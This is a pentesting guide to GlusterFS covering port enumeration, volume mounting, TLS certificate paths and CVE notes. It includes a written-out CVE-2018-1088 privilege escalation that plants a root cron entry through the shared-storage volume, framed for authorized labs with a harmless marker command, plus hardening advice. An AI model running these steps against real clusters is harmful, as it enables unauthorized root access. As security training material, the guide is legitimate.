24007-24008-24009-49152 - Pentesting GlusterFS

Basic Information

GlusterFS is a distributed file system that combines storage from multiple servers into one unified namespace. Gluster documentation calls for management ports 24007–24008 and brick ports that historically started at 49152 (older deployments used 24009 onward). From Gluster 10, brick ports are selected within the configured base-port to max-port range rather than simply incremented.^[7]

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

Port 24007 can identify glusterd even when a probed node does not itself host a brick for the target volume. Treat management-plane exposure as a separate finding from volume access.

Enumeration

Install the client utilities on your attacking box:

sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu

Peer discovery & health

# Test whether the exposed management plane returns peer state
gluster --remote-host 10.10.11.131 peer status

Volume reconnaissance

# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all

Mount an accessible volume

sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

If mounting fails, check /var/log/glusterfs/<vol_name>-<uid>.log on the client side. Common issues are:

TLS enforcement (option transport.socket.ssl on)
Address based access control (option auth.allow <cidr>)

Certificate troubleshooting

In an authorized lab, obtain the following files from a provisioned client and place them in the paths expected by that test client. A private key is sensitive; do not copy production credentials outside the agreed scope.^[8]

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

Version-specific vulnerabilities

The affected versions and impacts below come from the cited CVE records and vendor advisory; distribution backports may change package-level status.^[2][3][6]

CVE	Affected versions	Impact	Notes
CVE-2022-48340	GlusterFS 11.0 in the CVE record	Use-after-free in `dht_setxattr_mds_cbk`	Network-reachable denial of service; consult the distribution advisory for patched packages.
CVE-2023-26253	GlusterFS 11.0 in the CVE record	Stack buffer over-read in the FUSE notify path	Network-triggerable denial of service in affected deployments.
CVE-2018-1088	GlusterFS 3.x snapshot scheduler	Symlink-based write into a root cron file through shared storage	Privilege escalation when the vulnerable snapshot-scheduler setup exists.

Do not infer affected ranges or RCE from a CVE title alone. Check gluster --version on every node, identify packaged backports, and compare with the CVE and distribution advisory.^[1][2][3]

Assessing `gluster_shared_storage`

gluster_shared_storage is a special volume used by features such as geo-replication and snapshot scheduling. If it is exposed to unauthorized clients, mount it read-only first and inspect its actual contents and consumers. Do not assume a universal root-execution hook.^[4]

# 1. Attempt a read-only mount of the shared-storage volume
mkdir /tmp/gss
sudo mount -t glusterfs -o ro 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Enumerate files, ownership, ACLs, and references without modifying them
find /tmp/gss -xdev -printf '%M %u:%g %p\n'

Historical snapshot-scheduler escalation (CVE-2018-1088)

The useful privilege-escalation primitive in older GlusterFS is not a cluster-wide hooks/1/start/post directory. In an affected 3.x snapshot-scheduler setup, snap_scheduler.py init created /etc/cron.d/glusterfs_snap_cron_tasks as a symlink to glusterfs_snap_cron_tasks in the shared volume. A client able to mount that volume read/write could therefore control a root-parsed cron file.^[6]

An earlier draft also suggested checking /ss_bricks/ when hooks/1/ was absent. That path is retained as a historical filesystem-search hint, but no documented version mapping or automatic execution behavior was found; inspect ownership and consumers instead of assuming that files placed there execute.

Check the server-side preconditions first:

gluster volume get all cluster.enable-shared-storage
readlink -f /etc/cron.d/glusterfs_snap_cron_tasks
ls -l /etc/cron.d/glusterfs_snap_cron_tasks

For an explicitly authorized, disposable vulnerable lab, a non-destructive validation entry can create a marker rather than a reverse shell:

# Remount read/write only after confirming the exact vulnerable lab setup.
sudo mount -o remount,rw /tmp/gss
printf '* * * * * root /usr/bin/touch /tmp/ht-gluster-cve-2018-1088\n' | \
  sudo tee /tmp/gss/glusterfs_snap_cron_tasks

The test mutates a root cron source. Remove the entry immediately after validation; patched releases changed the shared-storage access controls, and current deployments should not be assessed with this historical assumption.^[6]

CVE-2023-26253 testing note

The flaw is in GlusterFS 11.0’s FUSE notify handling. A generic short XDR record sent to glusterd is not a valid reproducer. Use the upstream issue’s matching client/server setup in an isolated lab and monitor the affected FUSE client process.^[3]

Hardening & Detection

Upgrade to a vendor-supported package. Upstream 11.2 is the newest published GitHub release at the time of this review, but downstream support and backports determine the appropriate production version.^[5]
Enable TLS on both client and server sides for the volume, provision trusted certificates, and restrict certificate identities with auth.ssl-allow where appropriate:^[8]
```
gluster volume set <vol> client.ssl on
gluster volume set <vol> server.ssl on
gluster volume set <vol> auth.ssl-allow <certificate-identity>
```

Restrict clients with CIDR lists:

gluster volume set <vol> auth.allow 10.0.0.0/24

Expose management port 24007 only on a private VLAN or through SSH tunnels.
Watch logs: tail -f /var/log/glusterfs/glusterd.log and configure audit-log feature (volume set <vol> features.audit-log on).